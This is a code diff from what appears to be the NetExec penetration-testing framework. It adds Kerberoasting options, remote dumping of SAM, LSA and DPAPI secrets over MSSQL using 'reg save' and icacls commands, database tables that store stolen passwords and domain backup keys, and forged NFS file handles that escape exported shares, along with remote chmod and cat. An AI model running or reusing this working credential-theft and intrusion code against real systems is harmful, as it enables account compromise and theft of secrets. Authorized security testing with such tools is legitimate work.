ldap_parser.add_argument("--ldap-timeout", type=int, default=3, help="LDAP connection timeout")
ldap_parser.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, default=None, help="domain to authenticate to")
egroup = ldap_parser.add_argument_group("Retrieve hash on the remote DC", "Options to get hashes from Kerberos")
egroup.add_argument("--asreproast", help="Output AS_REP response to crack with hashcat to file")
kerberoasting_arg = egroup.add_argument("--kerberoasting", "--kerberoast", help="Output TGS ticket to crack with hashcat to file")
kerberoast_users_arg = egroup.add_argument("--kerberoast-account", nargs="+", dest="kerberoast_account", action=get_conditional_action(_StoreAction), make_required=[], help="Target specific accounts for kerberoasting (sAMAccountNames or file containing sAMAccountNames)")
egroup.add_argument("--no-preauth-targets", nargs=1, dest="no_preauth_targets", help="Targeted kerberoastable users")
targeted_kerberoast_arg = egroup.add_argument("--targeted-kerberoast", nargs="+", dest="targeted_kerberoast", action=get_conditional_action(_StoreAction), make_required=[], help="Adds temporary SPN to specified users, requests ST, then remove added SPN. Specify sAMAccountNames or file containing sAMAccountNames")
egroup.add_argument("--no-preauth-targets", nargs=1, dest="no_preauth_targets", help="Specify accounts that should be kerberoasted using an account without pre-authentication requirement.")
# Make kerberoast-users require kerberoasting
# Make kerberoast-users and targeted-kerberoast require kerberoasting
kerberoast_users_arg.make_required = [kerberoasting_arg]
targeted_kerberoast_arg.make_required = [kerberoasting_arg]
vgroup = ldap_parser.add_argument_group("Retrieve useful information on the domain")
vgroup.add_argument("--base-dn", metavar="BASE_DN", dest="base_dn", type=str, default=None, help="base DN for search queries")
@@ -29,6 +32,7 @@ def proto_args(parser, parents):
vgroup.add_argument("--users", nargs="*", help="Enumerate domain users")
vgroup.add_argument("--users-export", help="Enumerate domain users and export them to the specified file")
vgroup.add_argument("--groups", nargs="?", const="", help="Enumerate domain groups, if a group is specified than its members are enumerated")
vgroup.add_argument("--ous", nargs="?", const="", help="Specify OU name to query all users in that OU or list all OUs")
vgroup.add_argument("--computers", action="store_true", help="Enumerate domain computers")
vgroup.add_argument("--dc-list", action="store_true", help="Enumerate Domain Controllers")
vgroup.add_argument("--get-sid", action="store_true", help="Get domain sid")
@@ -41,8 +45,8 @@ def proto_args(parser, parents):
ggroup.add_argument("--gmsa-convert-id", help="Get the secret name of specific gmsa or all gmsa if no gmsa provided")
ggroup.add_argument("--gmsa-decrypt-lsa", help="Decrypt the gmsa encrypted value from LSA")
bgroup = ldap_parser.add_argument_group("Bloodhound Scan", "Options to play with Bloodhoud")
bgroup.add_argument("--bloodhound", action="store_true", help="Perform a Bloodhound scan")
bgroup = ldap_parser.add_argument_group("Bloodhound Scan", "Options to play with Bloodhound")
bgroup.add_argument("--bloodhound", action="store_true", help="Perform a Bloodhound scan. Default collector: Bloodhound CE, for legacy support see config file")
bgroup.add_argument("-c", "--collection", default="Default", help="Which information to collect. Supported: Group, LocalAdmin, Session, Trusts, Default, DCOnly, DCOM, RDP, PSRemote, LoggedOn, Container, ObjectProps, ACL, ADCS, All. You can specify more than one by separating them with a comma.")
return parser
+111 -54
View File
@@ -1,6 +1,7 @@
import os
import random
import contextlib
import binascii
from termcolor import colored
from nxc.config import process_secret, host_info_colors
@@ -11,8 +12,11 @@ from nxc.logger import NXCAdapter
from nxc.helpers.bloodhound import add_user_bh
from nxc.helpers.negotiate_parser import parse_challenge, login7_integrated_auth_error_message
from nxc.helpers.powershell import create_ps_command
from nxc.helpers.dpapi import DPAPITriage
from nxc.protocols.mssql.mssqlexec import MSSQLEXEC
from dploot.lib.network.mssql import MSSQLTarget as Target
from impacket import tds, ntlm
from impacket.krb5.ccache import CCache
from impacket.dcerpc.v5.dtypes import SID
@@ -44,6 +48,13 @@ class mssql(connection):
self.lmhash = ""
self.nthash = ""
self.no_ntlm = False
self.encryption = None
self.edition = ""
self.version = ""
self.dpapi_system_key = None
self.no_da = None
self._dpapi_triage = None
connection.__init__(self, args, db, host)
@@ -96,6 +107,13 @@ class mssql(connection):
# If the MSSQL Server responds with a TDS_ENCRYPT_REQ or TDS_ENCRYPT_OFF then we need to setup a TLS context
resp = self.conn.preLogin()
self.encryption = False
# Parses the MSSQL version
self.edition, self.version = (
str(self.conn.mssql_version).split("Server ")[1].split(" (")[0],
str(self.conn.mssql_version).rsplit("(", 1)[1].rstrip(")")
)
if resp["Encryption"] == TDS_ENCRYPT_REQ or resp["Encryption"] == TDS_ENCRYPT_OFF:
# We switch to a TLS context handled by tds.py
self.conn.set_tls_context()
@@ -147,7 +165,7 @@ class mssql(connection):
self.logger.debug(f"Server does not support NTLM{detail}")
self.no_ntlm = True
self.db.add_host(self.host, self.hostname, self.domain, self.server_os, len(self.mssql_instances))
self.db.add_host(self.host, self.hostname, self.domain, self.server_os, self.version, len(self.mssql_instances), self.encryption)
if self.args.domain:
self.domain = self.args.domain
@@ -164,7 +182,7 @@ class mssql(connection):
def print_host_info(self):
encryption = colored(f"EncryptionReq:{self.encryption}", host_info_colors[0 if self.encryption else 1], attrs=["bold"])
ntlm = colored(f"(NTLM:{not self.no_ntlm})", host_info_colors[2], attrs=["bold"]) if self.no_ntlm else ""
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.targetDomain}) ({encryption}) {ntlm}")
self.logger.display(f"{self.server_os} ({self.edition} {self.version}) (name:{self.hostname}) (domain:{self.targetDomain}) ({encryption}) {ntlm}")
@reconnect_mssql
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
@@ -444,7 +462,7 @@ class mssql(connection):
# Query known group to determine raw SID & convert to canon
raw_domain_sid = self.conn.sql_query(f"SELECT SUSER_SID('{domain}\\Domain Admins')")[0][""]
domain_sid = SID(bytes.fromhex(raw_domain_sid.decode())).formatCanonical()[:-4]
domain_sid = SID(bytes.fromhex(raw_domain_sid)).formatCanonical()[:-4]
except Exception as e:
self.logger.fail(f"Error parsing SID. Not domain joined?: {e}")
return entries
@@ -462,7 +480,7 @@ class mssql(connection):
for n, item in enumerate(raw_output):
username = item[""]
if username == "NULL":
if username is None:
continue
rid = so_far + n
self.logger.highlight(f"{rid}: {username}")
@@ -483,68 +501,65 @@ class mssql(connection):
return "[" + str(ident).replace("]", "]]") + "]"
def list_databases(self):
try:
q = (
"SELECT d.name AS DatabaseName, "
" suser_sname(d.owner_sid) AS Owner "
"FROM sys.databases d "
"ORDER BY d.name;"
)
rows = self.conn.sql_query(q) or []
if not rows:
self.logger.display("No databases returned")
return
query = """
SELECT d.name AS DatabaseName, suser_sname(d.owner_sid) AS Owner
FROM sys.databases d
ORDER BY d.name;
"""
rows = self.conn.sql_query(query)
if self.conn.lastError:
self.logger.fail(f"Error running the SQL query: {self.conn.lastError}")
if not rows:
self.logger.display("No databases returned")
return
self.logger.display("Enumerated databases")
self.logger.highlight(f"{'Database Name':<30} {'Owner':<25}")
self.logger.highlight(f"{'-' * 30} {'-' * 25}")
for r in rows:
self.logger.highlight(f"{r.get('DatabaseName', ''):<30} {r.get('Owner', ''):<25}")
self.logger.highlight(f"Total: {len(rows)} database(s)")
except Exception as e:
self.logger.fail(f"Failed to enumerate databases: {e}")
self.logger.debug("list_databases error", exc_info=True)
self.logger.display("Enumerated databases")
self.logger.highlight(f"{'Database Name':<30} {'Owner':<25}")
self.logger.highlight(f"{'-' * 30} {'-' * 25}")
for row in rows:
database_name = row.get("DatabaseName", "")
owner = row.get("Owner", "")
self.logger.highlight(f"{database_name:<30} {owner:<25}")
self.logger.highlight(f"Total: {len(rows)} database(s)")
def database(self):
db_arg = self.args.database
# nxc --database (no value) -> list
if db_arg is True or db_arg is None:
if self.args.database is True:
self.list_databases()
return
# nxc --database <name> -> tables
if isinstance(db_arg, str):
try:
safe = db_arg.replace("'", "''")
exists = self.conn.sql_query(f"SELECT 1 FROM sys.databases WHERE name = N'{safe}';")
if not exists:
self.logger.fail(f"Database [{db_arg}] does not exist on the server.")
return
tq = (
f"SELECT t.name AS TableName, t.modify_date "
f"FROM {self._qname(db_arg)}.sys.tables t "
f"ORDER BY t.name;"
)
rows = self.conn.sql_query(tq) or []
except Exception as e:
self.logger.fail(f"Insufficient permissions or query error in [{db_arg}]: {e}")
self.logger.debug("database() error", exc_info=True)
if isinstance(self.args.database, str):
safe = self.args.database.replace("'", "''")
exists = self.conn.sql_query(f"SELECT 1 FROM sys.databases WHERE name = N'{safe}';")
if self.conn.lastError:
self.logger.fail(f"Error running the SQL query: {self.conn.lastError}")
if not exists:
self.logger.fail(f"Database [{self.args.database}] does not exist on the server.")
return
query = f"""
SELECT t.name AS TableName, t.modify_date
FROM {self._qname(self.args.database)}.sys.tables t
ORDER BY t.name;
"""
rows = self.conn.sql_query(query)
if self.conn.lastError:
self.logger.fail(f"Error running the SQL query: {self.conn.lastError}")
if not rows:
self.logger.display(f"Database [{db_arg}] has no user tables.")
self.logger.display(f"Database [{self.args.database}] has no user tables.")
return
self.logger.display(f"Tables in database: {db_arg}")
self.logger.display(f"Tables in database: {self.args.database}")
self.logger.highlight(f"{'Table Name':<50} {'Last Modified':<25}")
self.logger.highlight(f"{'-' * 50} {'-' * 25}")
for r in rows:
mod = r.get("modify_date", "")
if mod and hasattr(mod, "strftime"):
mod = mod.strftime("%Y-%m-%d %H:%M:%S")
self.logger.highlight(f"{r.get('TableName', ''):<50} {mod!s:<25}")
for row in rows:
modify_date = row.get("modify_date", "")
if modify_date and hasattr(modify_date, "strftime"):
modify_date = modify_date.strftime("%Y-%m-%d %H:%M:%S")
self.logger.highlight(f"{row.get('TableName', ''):<50} {modify_date!s:<25}")
self.logger.highlight(f"Total: {len(rows)} table(s)")
return
@@ -554,10 +569,12 @@ class mssql(connection):
system_storename = gen_random_string(6)
dump_command = f"reg save HKLM\\SAM C:\\windows\\temp\\{sam_storename} && reg save HKLM\\SYSTEM C:\\windows\\temp\\{system_storename}"
clean_command = f"del C:\\windows\\temp\\{sam_storename} && del C:\\windows\\temp\\{system_storename}"
get_owner_command = f"icacls C:\\windows\\temp\\{sam_storename} /grant {self.username}:F && icacls C:\\windows\\temp\\{system_storename} /grant {self.username}:F"
output_filename = self.output_file_template.format(output_folder="sam")
try:
exec_method = MSSQLEXEC(self.conn, self.logger)
exec_method.execute(dump_command)
exec_method.execute(get_owner_command)
exec_method.get_file(f"C:\\windows\\temp\\{sam_storename}", f"{output_filename}.sam")
exec_method.get_file(f"C:\\windows\\temp\\{system_storename}", f"{output_filename}.system")
exec_method.execute(clean_command)
@@ -582,15 +599,17 @@ class mssql(connection):
SAM.export(output_filename)
@requires_admin
def lsa(self):
def lsa(self, quiet=False):
security_storename = gen_random_string(6)
system_storename = gen_random_string(6)
dump_command = f"reg save HKLM\\SECURITY C:\\windows\\temp\\{security_storename} && reg save HKLM\\SYSTEM C:\\windows\\temp\\{system_storename}"
clean_command = f"del C:\\windows\\temp\\{security_storename} && del C:\\windows\\temp\\{system_storename}"
get_owner_command = f"icacls C:\\windows\\temp\\{security_storename} /grant {self.username}:F && icacls C:\\windows\\temp\\{system_storename} /grant {self.username}:F"
output_filename = self.output_file_template.format(output_folder="lsa")
try:
exec_method = MSSQLEXEC(self.conn, self.logger)
exec_method.execute(dump_command)
exec_method.execute(get_owner_command)
exec_method.get_file(f"C:\\windows\\temp\\{security_storename}", f"{output_filename}.security")
exec_method.get_file(f"C:\\windows\\temp\\{system_storename}", f"{output_filename}.system")
exec_method.execute(clean_command)
@@ -602,15 +621,53 @@ class mssql(connection):
or not (os.path.exists(f"{output_filename}.system") and os.path.getsize(f"{output_filename}.system") > 0):
self.logger.fail("SECURITY or SYSTEM hive could not be dumped, privs may not be sufficient.")
return
self.logger.display("Dumping LSA secrets")
if not quiet:
self.logger.display("Dumping LSA secrets")
local_operations = LocalOperations(f"{output_filename}.system")
boot_key = local_operations.getBootKey()
def lsa_secret_callback(_, secret):
if "dpapi_machinekey" not in secret:
if not quiet:
self.logger.highlight(secret)
else:
correl_table = {"dpapi_machinekey": "MachineKey", "dpapi_userkey": "UserKey"}
self.dpapi_system_key = {correl_table[k]: binascii.unhexlify(v[2:]) for k, v in (elem.split(":") for elem in secret.splitlines())}
if not quiet:
self.logger.highlight(f"dpapi_machinekey:{self.dpapi_system_key['MachineKey'].hex()}")
self.logger.highlight(f"dpapi_userkey:{self.dpapi_system_key['UserKey'].hex()}")
LSA = LSASecrets(
f"{output_filename}.security",
boot_key,
None,
isRemote=None,
perSecretCallback=lambda secret_type, secret: self.logger.highlight(secret),
perSecretCallback=lsa_secret_callback,
)
LSA.dumpCachedHashes()
LSA.dumpSecrets()
@requires_admin
def dpapi(self):
self.dpapi_triage.triage_dpapi()
@property
def dpapi_triage(self) -> DPAPITriage:
if self._dpapi_triage is not None:
return self._dpapi_triage
target = Target.create(
domain=self.domain,
username=self.username,
password=self.password,
address=self.remoteName,
port=self.port,
hashes=f":{self.nthash}",
do_kerberos=self.kerberos,
kdcHost=self.kdcHost,
use_kcache=self.use_kcache,
aesKey=self.aesKey,
db_auth=self.args.local_auth,
)
self._dpapi_triage = DPAPITriage(self, target)
return self._dpapi_triage
+166 -3
View File
@@ -1,6 +1,7 @@
import warnings
import base64
from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, func, select, insert, delete
from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, UniqueConstraint, String, func, select, insert, delete, Boolean, and_, or_
from sqlalchemy.dialects.sqlite import Insert # used for upsert
from sqlalchemy.exc import SAWarning
from sqlalchemy.orm import declarative_base
@@ -19,6 +20,8 @@ class database(BaseDB):
self.HostsTable = None
self.UsersTable = None
self.AdminRelationsTable = None
self.DpapiBackupkeyTable = None
self.DpapiSecretsTable = None
super().__init__(db_engine)
@@ -29,7 +32,9 @@ class database(BaseDB):
hostname = Column(String)
domain = Column(String)
os = Column(String)
mssqlversion = Column(String)
instances = Column(Integer)
encryptionReq = Column(Boolean)
__table_args__ = (
PrimaryKeyConstraint("id"),
@@ -73,6 +78,32 @@ class database(BaseDB):
ForeignKeyConstraint(["hostid"], ["hosts.id"]),
)
class DpapiSecret(Base):
__tablename__ = "dpapi_secrets"
id = Column(Integer)
host = Column(String)
dpapi_type = Column(String)
windows_user = Column(String)
username = Column(String)
password = Column(String)
url = Column(String)
__table_args__ = (
PrimaryKeyConstraint("id"),
UniqueConstraint("host", "dpapi_type", "windows_user", "username", "password", "url"),
)
class DpapiBackupKey(Base):
__tablename__ = "dpapi_backupkey"
id = Column(Integer)
domain = Column(String)
pvk = Column(String)
__table_args__ = (
PrimaryKeyConstraint("id"),
UniqueConstraint("domain"),
)
@staticmethod
def db_schema(db_conn):
Base.metadata.create_all(db_conn)
@@ -82,13 +113,15 @@ class database(BaseDB):
self.UsersTable = self.reflect_table(self.User)
self.AdminRelationsTable = self.reflect_table(self.AdminRelation)
self.LoggedinRelationsTable = self.reflect_table(self.LoggedInRelation)
self.DpapiSecretsTable = self.reflect_table(self.DpapiSecret)
self.DpapiBackupkeyTable = self.reflect_table(self.DpapiBackupKey)
def add_host(self, ip, hostname, domain, os, instances):
def add_host(self, ip, hostname, domain, os, mssqlversion, instances, encryptionReq):
"""
Check if this host has already been added to the database, if not, add it in.
TODO: return inserted or updated row ids as a list
"""
nxc_logger.debug(f"{domain} {ip} {os} {instances}")
nxc_logger.debug(f"{domain} {ip} {os} {mssqlversion} {instances} {encryptionReq}")
if not domain:
domain = ""
hosts = []
@@ -102,7 +135,9 @@ class database(BaseDB):
"hostname": hostname,
"domain": domain,
"os": os,
"mssqlversion": mssqlversion,
"instances": instances,
"encryptionReq": encryptionReq
}
if not results:
@@ -118,8 +153,12 @@ class database(BaseDB):
host_data["domain"] = domain
if os is not None:
host_data["os"] = os
if mssqlversion is not None:
host_data["mssqlversion"] = mssqlversion
if instances is not None:
host_data["instances"] = instances
if encryptionReq is not None:
host_data["encryptionReq"] = encryptionReq
if host_data not in hosts:
hosts.append(host_data)
@@ -271,6 +310,20 @@ class database(BaseDB):
return self.db_execute(q).all()
def get_credentials_for_users(self, usernames: list[str], cred_type: str | None = None):
"""Return credentials for a list of users from the database."""
if cred_type:
q = select(self.UsersTable).filter(
self.UsersTable.c.credtype == cred_type,
and_(or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames]))
)
else:
q = select(self.UsersTable).filter(
or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames])
)
return self.db_execute(q).all()
def get_credential(self, cred_type, domain, username, password):
q = select(self.UsersTable).filter(
self.UsersTable.c.domain == domain,
@@ -345,3 +398,113 @@ class database(BaseDB):
elif host_id:
q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id)
self.db_execute(q)
def add_domain_backupkey(self, domain: str, pvk: bytes):
"""
Add domain backupkey
:domain is the domain fqdn
:pvk is the domain backupkey
"""
q = select(self.DpapiBackupkeyTable).filter(func.lower(self.DpapiBackupkeyTable.c.domain) == func.lower(domain))
results = self.db_execute(q).all()
if not len(results):
pvk_encoded = base64.b64encode(pvk)
backup_key = {"domain": domain, "pvk": pvk_encoded}
try:
# TODO: find a way to abstract this away to a single Upsert call
q = Insert(self.DpapiBackupkeyTable) # .returning(self.DpapiBackupkeyTable.c.id)
self.db_execute(q, [backup_key]) # .scalar()
nxc_logger.debug(f"add_domain_backupkey(domain={domain}, pvk={pvk_encoded})")
except Exception as e:
nxc_logger.debug(f"Issue while inserting DPAPI Backup Key: {e}")
def get_domain_backupkey(self, domain: str | None = None):
"""
Get domain backupkey
:domain is the domain fqdn
"""
q = select(self.DpapiBackupkeyTable)
if domain is not None:
q = q.filter(func.lower(self.DpapiBackupkeyTable.c.domain) == func.lower(domain))
results = self.db_execute(q).all()
nxc_logger.debug(f"get_domain_backupkey(domain={domain}) => {results}")
if len(results) > 0:
results = [(id_key, domain, base64.b64decode(pvk)) for id_key, domain, pvk in results]
return results
def is_dpapi_secret_valid(self, dpapi_secret_id):
"""
Check if this DPAPI secret ID is valid.
:dpapi_secret_id is a primary id
"""
q = select(self.DpapiSecretsTable).filter(func.lower(self.DpapiSecretsTable.c.id) == dpapi_secret_id)
results = self.db_execute(q).first()
valid = results is not None
nxc_logger.debug(f"is_dpapi_secret_valid(dpapi_secret_id={dpapi_secret_id}) => {valid}")
return valid
def add_dpapi_secrets(
self,
host: str,
dpapi_type: str,
windows_user: str,
username: str,
password: str,
url: str = "",
):
"""Add dpapi secrets to nxcdb"""
secret = {
"host": host,
"dpapi_type": dpapi_type,
"windows_user": windows_user,
"username": username,
"password": password,
"url": url,
}
q = Insert(self.DpapiSecretsTable).on_conflict_do_nothing() # .returning(self.DpapiSecretsTable.c.id)
self.db_execute(q, [secret]) # .scalar()
nxc_logger.debug(
f"add_dpapi_secrets(host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, password={password}, url={url})")
def get_dpapi_secrets(
self,
filter_term=None,
host: str | None = None,
dpapi_type: str | None = None,
windows_user: str | None = None,
username: str | None = None,
url: str | None = None,
):
"""Get dpapi secrets from nxcdb"""
q = select(self.DpapiSecretsTable)
if self.is_dpapi_secret_valid(filter_term):
q = q.filter(self.DpapiSecretsTable.c.id == filter_term)
results = self.db_execute(q).first()
# all() returns a list, so we keep the return format the same so consumers don't have to guess
return [results]
elif host:
q = q.filter(self.DpapiSecretsTable.c.host == host)
results = self.db_execute(q).first()
# all() returns a list, so we keep the return format the same so consumers don't have to guess
return [results]
elif dpapi_type:
q = q.filter(func.lower(self.DpapiSecretsTable.c.dpapi_type) == func.lower(dpapi_type))
elif windows_user:
like_term = func.lower(f"%{windows_user}%")
q = q.filter(func.lower(self.DpapiSecretsTable.c.windows_user).like(like_term))
elif username:
like_term = func.lower(f"%{username}%")
q = q.filter(func.lower(self.DpapiSecretsTable.c.windows_user).like(like_term))
elif url:
q = q.filter(func.lower(self.DpapiSecretsTable.c.url) == func.lower(url))
results = self.db_execute(q).all()
nxc_logger.debug(f"get_dpapi_secrets(filter_term={filter_term}, host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, url={url}) => {results}")
return results
+5 -3
View File
@@ -21,7 +21,7 @@ class navigator(DatabaseNavigator):
print_table(data, title="Credentials")
def display_hosts(self, hosts):
data = [["HostID", "Admins", "IP", "Hostname", "Domain", "OS", "DB Instances"]]
data = [["HostID", "Admins", "IP", "Hostname", "Domain", "OS", "MSSQL Version", "DB Instances", "EncryptionReq"]]
for host in hosts:
links = self.db.get_admin_relations(host_id=host[0])
data.append(
@@ -33,6 +33,8 @@ class navigator(DatabaseNavigator):
host[3],
host[4],
host[5],
host[6],
host[7]
]
)
print_table(data, title="Hosts")
@@ -49,12 +51,12 @@ class navigator(DatabaseNavigator):
if len(hosts) > 1:
self.display_hosts(hosts)
elif len(hosts) == 1:
data = [["HostID", "IP", "Hostname", "Domain", "OS"]]
data = [["HostID", "IP", "Hostname", "Domain", "OS", "MSSQL Version", "DB Instances", "EncryptionReq"]]
host_id_list = []
for host in hosts:
host_id_list.append(host[0])
data.append([host[0], host[1], host[2], host[3], host[4]])
data.append([host[0], host[1], host[2], host[3], host[4], host[5], host[6], host[7]])
print_table(data, title="Host(s)")
+1 -1
View File
@@ -21,7 +21,7 @@ class MSSQLEXEC:
raw = self.mssql_conn.sql_query(cmd)
self.logger.debug(f"Raw results from query: {raw}")
if raw:
result = "\n".join(line["output"] for line in raw if line["output"] != "NULL")
result = "\n".join(line["output"] for line in raw if line["output"] is not None)
self.logger.debug(f"Concatenated result together for easier parsing: {result}")
# if you prepend SilentlyContinue it will still output the error, but it will still continue on (so it's not silent...)
if "Preparing modules for first use" in result and "Completed" not in result:
+3
View File
@@ -16,6 +16,9 @@ def proto_args(parser, parents):
cgroup = mssql_parser.add_argument_group("Credential Gathering")
cgroup.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems")
cgroup.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems")
cgroup.add_argument("--dpapi", choices={"cookies", "nosystem"}, nargs="*", help="dump DPAPI secrets from target systems, can dump cookies if you add 'cookies', will not dump SYSTEM dpapi if you add nosystem")
cgroup.add_argument("--mkfile", action="store", help="DPAPI option. File with masterkeys in form of {GUID}:SHA1")
cgroup.add_argument("--pvk", action="store", help="DPAPI option. File with domain backupkey")
cgroup = mssql_parser.add_argument_group("Command Execution")
cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output")
+169 -14
View File
@@ -1,3 +1,5 @@
from io import BytesIO
from termcolor import colored
from nxc.connection import connection
from nxc.logger import NXCAdapter
@@ -130,18 +132,24 @@ class nfs(connection):
if program["program"] == NFS_PROGRAM:
self.nfs_versions.add(program["version"])
except Exception as e:
self.logger.debug(f"Error checking NFS version: {self.host} {e}")
self.logger.fail(f"Error checking NFS version: {self.host} {e}")
# Connect to NFS
nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3)
self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth)
self.nfs3.connect()
# Check if root escape is possible
if NFS_V3 in self.nfs_versions:
self.root_escape = self.try_root_escape()
else:
self.logger.debug("NFSv3 not supported, skipping root escape check")
self.nfs3.disconnect()
try:
nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3)
if nfs_port:
self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth)
self.nfs3.connect()
# Check if root escape is possible
if NFS_V3 in self.nfs_versions:
self.root_escape = self.try_root_escape()
else:
self.logger.debug("NFSv3 not supported, skipping root escape check")
self.nfs3.disconnect()
except Exception as e:
self.logger.fail(f"Failed to connect to NFS3 host: {e}")
self.db.add_host(self.host, self.hostname, self.port, self.nfs_versions, self.root_escape)
def print_host_info(self):
root_escape_str = colored(f"root escape:{self.root_escape}", host_info_colors[1 if self.root_escape else 0], attrs=["bold"])
@@ -265,6 +273,7 @@ class nfs(connection):
read_perm, write_perm, exec_perm = self.get_permissions(file_handle)
self.mount.umnt(self.auth)
self.db.add_share(self.host, (read_perm, write_perm, exec_perm), (convert_size(used_space), "/", convert_size(total_space)), share, network)
self.logger.highlight(f"{self.auth['uid']:<11}{'r' if read_perm else '-'}{'w' if write_perm else '-'}{('x' if exec_perm else '-'):<7}{convert_size(used_space) + '/' + convert_size(total_space):<16} {share:<30} {', '.join(network) if network else 'No network':<15}")
except Exception as e:
self.logger.fail(f"Failed to list share: {share} - {e}")
@@ -427,6 +436,10 @@ class nfs(connection):
self.logger.fail(f"{local_file_path} does not exist.")
return
# Do a bit of smart handling for the remote file path
if remote_file_path.endswith("/"):
file_name = os.path.basename(local_file_path)
self.logger.display(f"Uploading from {local_file_path} to {remote_file_path}")
try:
# Connect to NFS
@@ -526,6 +539,62 @@ class nfs(connection):
else:
self.logger.highlight(f"File {local_file_path} successfully uploaded to {remote_file_path}")
def chmod(self):
try:
# Connect to NFS
nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3)
self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth)
self.nfs3.connect()
# Mount the NFS share or get the root handle
if self.root_escape and not self.args.share:
mount_fh = self.escape_fh
elif not self.args.share:
self.logger.fail("No root escape possible, please specify a share")
return
else:
mnt_info = self.mount.mnt(self.args.share, self.auth)
if mnt_info["status"] != 0:
self.logger.fail(f"Error mounting share {self.args.share}: {NFSSTAT3[mnt_info['status']]}")
return
mount_fh = mnt_info["mountinfo"]["fhandle"]
# Iterate over the path
curr_fh = mount_fh
privs = int(self.args.chmod[0], 8)
filepath = self.args.chmod[1]
file_path, file_name = os.path.split(filepath)
# If target dir is "" or "/" without filter we would get one item with [""]
for sub_path in list(filter(None, file_path.lstrip("/").split("/"))):
self.update_auth(curr_fh)
res = self.nfs3.lookup(curr_fh, sub_path, auth=self.auth)
# If the path does not exist, create it
if "resfail" in res and res["status"] == NFS3ERR_NOENT:
self.logger.fail(f"Directory '{sub_path}' does not exist on path '{file_path}/'")
curr_fh = res["resok"]["object"]["data"]
# Update the UID and GID from the directory
self.update_auth(curr_fh)
# Checking if file_name already exists on remote file path
lookup_response = self.nfs3.lookup(curr_fh, file_name, auth=self.auth)
if "resfail" in lookup_response and lookup_response["status"] == NFS3ERR_NOENT:
self.logger.fail(f"File '{file_name}' does not exist on path '{file_path}/'")
return
current_privs = self.nfs3.getattr(lookup_response["resok"]["object"]["data"], auth=self.auth)["attributes"]["mode"]
res = self.nfs3.setattr(lookup_response["resok"]["object"]["data"], mode=privs, auth=self.auth)
if "resfail" in res:
self.logger.fail(f"Failed to change permissions for '{filepath}': {NFSSTAT3[res['status']]}")
else:
self.logger.success(f"Permissions for '{filepath}' successfully changed from {format(current_privs, 'o')} to {format(privs, 'o')}")
except Exception as e:
self.logger.fail(f"Error occurred while processing path: {e}")
def get_root_handles(self, mount_fh):
"""
Get possible root handles to escape to the root filesystem
@@ -575,13 +644,13 @@ class nfs(connection):
# Format for the file id see: https://elixir.bootlin.com/linux/v6.13.4/source/include/linux/exportfs.h#L25
fh = bytearray(mount_fh)
if filesystem in [FileID.ext, FileID.unknown]:
root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x02\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x02\x00\x00\x00")) # noqa: E226
root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x80\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x80\x00\x00\x00")) # noqa: E226
root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x02\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x02\x00\x00\x00")) # ruff: ignore[missing-whitespace-around-arithmetic-operator]
root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x80\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x80\x00\x00\x00")) # ruff: ignore[missing-whitespace-around-arithmetic-operator]
if filesystem in [FileID.btrfs, FileID.unknown]:
# Iterate over btrfs subvolumes, use 16 as default similar to the guys from nfs-security-tooling
for i in range(16):
subvolume = int.to_bytes(i) + b"\x01\x00\x00"
root_handles.append(bytes(fh[:3] + b"\x4d" + fh[4:4+fh_fsid_len] + b"\x00\x01\x00\x00" + b"\x00\x00\x00\x00" + subvolume + b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00")) # noqa: E226
root_handles.append(bytes(fh[:3] + b"\x4d" + fh[4:4+fh_fsid_len] + b"\x00\x01\x00\x00" + b"\x00\x00\x00\x00" + subvolume + b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00")) # ruff: ignore[missing-whitespace-around-arithmetic-operator]
return root_handles
@@ -707,6 +776,89 @@ class nfs(connection):
path = path.rsplit("/", 1)[0] # Remove the file from the path
self.print_directory(content, path)
def cat(self):
# Connect to NFS
nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3)
self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth)
self.nfs3.connect()
# Remove leading or trailing slashes
self.args.cat = self.args.cat.lstrip("/").rstrip("/")
# NORMAL LS CALL (without root escape)
if self.args.share:
mount_info = self.mount.mnt(self.args.share, self.auth)
if mount_info["status"] != 0:
self.logger.fail(f"Could not mount share {self.args.share}: {NFSSTAT3[mount_info['status']]}")
return
else:
mount_fh = mount_info["mountinfo"]["fhandle"]
elif self.root_escape:
# Interestingly we don't actually have to mount the share if we already got the handle
self.logger.success(f"Successful escape on share: {self.escape_share}")
mount_fh = self.escape_fh
else:
self.logger.fail("No root escape possible, please specify a share")
return
# We got a path to look up
curr_fh = mount_fh
is_file = False # If the last path is a file
# If ls is "" or "/" without filter we would get one item with [""]
for sub_path in list(filter(None, self.args.cat.split("/"))):
# Update UID and GID for the path
self.update_auth(curr_fh)
res = self.nfs3.lookup(curr_fh, sub_path, auth=self.auth)
